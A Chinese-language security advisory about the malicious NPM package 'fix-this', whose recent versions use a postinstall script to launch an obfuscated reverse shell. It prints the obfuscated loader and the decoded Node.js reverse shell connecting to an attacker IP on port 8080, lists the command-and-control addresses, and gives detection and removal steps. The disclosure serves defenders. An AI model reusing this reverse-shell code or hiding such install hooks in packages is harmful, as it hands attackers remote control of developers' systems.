2025供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

2025.01.08,悬镜供应链安全情报中心在NPM官方仓库(www.npmjs.com)中捕获一起针对NodeJS开发者开展远控攻击的组件投毒事件。投毒者在连续发布多达26个正常版本的 fix-this NPM包之后,在最近4个版本中(3.0.9; 3.1.9; 3.2.1; 3.2.3)正式将混淆的反向shell远控的恶意代码植入到该组件中进行远控投毒攻击。

fix-this恶意NPM包

截至目前,该恶意组件包仍正常托管在NPM官方仓库以及国内主流NPM镜像源,对于NPM开发者来说存在较大安全隐患。此外,根据NPM官方接口统计,fix-this恶意NPM包总下载量为2179次。悬镜安全已于第一时间将该投毒恶意包的详细技术分析向XSBOM供应链安全情报订阅用户进行推送预警。

fix-this恶意包总下载量

投毒分析

Poisoning Analysis

 fix-this NPM组件包在3.0.9及之后的版本中 lib/utils/connectionUtils.js 代码文件的 validateSystemResultsV2() 函数被投毒者植入混淆恶意代码,恶意代码主要功能用于执行反向shell远控,针对目前已投放的4个版本恶意包中,涉及到的远控服务器地址及端口如下所示。

远控IP远控端口
54.226.214.368080
54.174.228.2228080
3.91.223.1428080
107.21.170.1978080

1

代码混淆

以 fix-this 最新版本3.2.3为例,组件包package.json中通过配置scripts postinstall指令实现组件安装过程中执行 "node lib/utils/postinstall.js" 。

package.json 定义 postinstall 恶意指令

lib/utils/postinstall.js 文件如下所示,其主要功能是调用 connectionUtils 模块(lib/utils/connectionUtils.js)的 validateSystemResults 及 validateSystemResultsV2 函数进行相关校验操作。

postinstall.js 文件代码

lib/utils/connectionUtils.js 代码文件的validateSystemResultsV2 函数已经被攻击者植入混淆的恶意代码。

validateSystemResultsV2 函数

validateSystemResultsV2 函数中的混淆代码如下所示:

function _0x2057(_0x1829df,_0x3f03dc){var _0x5ca86c=_0x5ca8();return _0x2057=function(_0x2057b2,_0x3d1488){_0x2057b2=_0x2057b2-0x84;var _0x5a534d=_0x5ca86c[_0x2057b2];return _0x5a534d;},_0x2057(_0x1829df,_0x3f03dc);}var _0x13cf3b=_0x2057;(function(_0x4992cf,_0x2f1494){var _0x4bbf83=_0x2057,_0x29c35c=_0x4992cf();while(!![]){try{var _0x3636ce=parseInt(_0x4bbf83(0x86))/0x1+-parseInt(_0x4bbf83(0x8a))/0x2*(parseInt(_0x4bbf83(0x8b))/0x3)+parseInt(_0x4bbf83(0x8e))/0x4+-parseInt(_0x4bbf83(0x90))/0x5*(parseInt(_0x4bbf83(0x85))/0x6)+-parseInt(_0x4bbf83(0x84))/0x7+-parseInt(_0x4bbf83(0x89))/0x8+parseInt(_0x4bbf83(0x8c))/0x9;if(_0x3636ce===_0x2f1494)break;else _0x29c35c['push'](_0x29c35c['shift']());}catch(_0x57e360){_0x29c35c['push'](_0x29c35c['shift']());}}}(_0x5ca8,0xb27a1));function _0x5ca8(){var _0x1d3d55=['spawn','ignore','1912848LiJbyL','118058INcfKg','33BmgaJm','3039138ZhLTOG','\x0a\x20\x20\x20\x20(function(){\x0a\x20\x20\x20\x20\x20\x20var\x20net\x20=\x20require(\x22net\x22),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20cp\x20=\x20require(\x22child_process\x22),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sh\x20=\x20cp.spawn(\x22/bin/sh\x22,\x20[],\x20{\x20stdio:\x20[\x27pipe\x27,\x20\x27pipe\x27,\x20\x27pipe\x27]\x20});\x0a\x20\x20\x20\x20\x20\x20var\x20client\x20=\x20new\x20net.Socket();\x0a\x20\x20\x20\x20\x20\x20client.connect(8080,\x20\x2254.226.214.36\x22,\x20function(){\x0a\x20\x20\x20\x20\x20\x20\x20\x20client.pipe(sh.stdin);\x0a\x20\x20\x20\x20\x20\x20\x20\x20sh.stdout.pipe(client);\x0a\x20\x20\x20\x20\x20\x20\x20\x20sh.stderr.pipe(client);\x0a\x20\x20\x20\x20\x20\x20});\x0a\x20\x20\x20\x20})();\x0a\x20\x20','5496360mmtRSt','execPath','4985245oSRztn','3850931TfscMo','6YqPuPd','1454876IJOzMs'];_0x5ca8=function(){return _0x1d3d55;};return _0x5ca8();}var cp=require('child_process');cp[_0x13cf3b(0x87)](process[_0x13cf3b(0x8f)],['-e',_0x13cf3b(0x8d)],{'detached':!![],'stdio':_0x13cf3b(0x88)})['unref']();

2

反向shell远控

对混淆代码进行还原后,发现其主要功能是调用child_process模块执行 node -e 来动态执行一段经典的反向shell远控nodejs代码。

混淆代码还原

反向shell远控nodejs代码如下所示,当前版本恶意包使用的shell远控服务器IP为:54.226.214.36,远控端口为8080。

    (function(){      var net = require("net"),          cp = require("child_process"),          sh = cp.spawn("/bin/sh", [], { stdio: ['pipe', 'pipe', 'pipe'] });      var client = new net.Socket();      client.connect(8080, "54.226.214.36", function(){        client.pipe(sh.stdin);        sh.stdout.pipe(client);        sh.stderr.pipe(client);      });    })();

一旦开发者安装fix-this恶意包时,将自动触发执行validateSystemResultsV2 函数中的反向shell远控代码,导致系统被投毒者远程控制。如下图所示,通过本地模拟投毒者远控服务器IP(下图左侧)进行验证,当受害者(下图右侧)安装该恶意组件时,攻击者将获取受害者系统的远控权限。

本地反向shell远控验证

3

IoC 数据

本次捕获的fix-this NPM投毒包涉及的恶意IoC数据如下表所示:

排查方式

Investigation Method

开发者可通过命令 npm list fix-this 在项目目录下使用查询是否已安装存在恶意投毒版本(3.0.9; 3.1.9; 3.2.1; 3.2.3)的组件,如果已安装请立即使用 npm uninstall fix-this 进行卸载。此外还需关闭系统网络并排查系统是否存在异常进程。

此外,也可使用 OpenSCA-cli 工具将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

​​​​​​​

[     {         "product": "fix-this",         "version": "[3.0.9, 3.1.9, 3.2.1, 3.2.3]",         "language": "javascript",         "id": "XMIRROR-MAL45-92505BB",         "description": "恶意NPM组件fix-this开展远控投毒攻击",         "release_date": "2025-01-08"       }]

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心。依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报查询、情报订阅、可视化关联分析等企业级服务。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值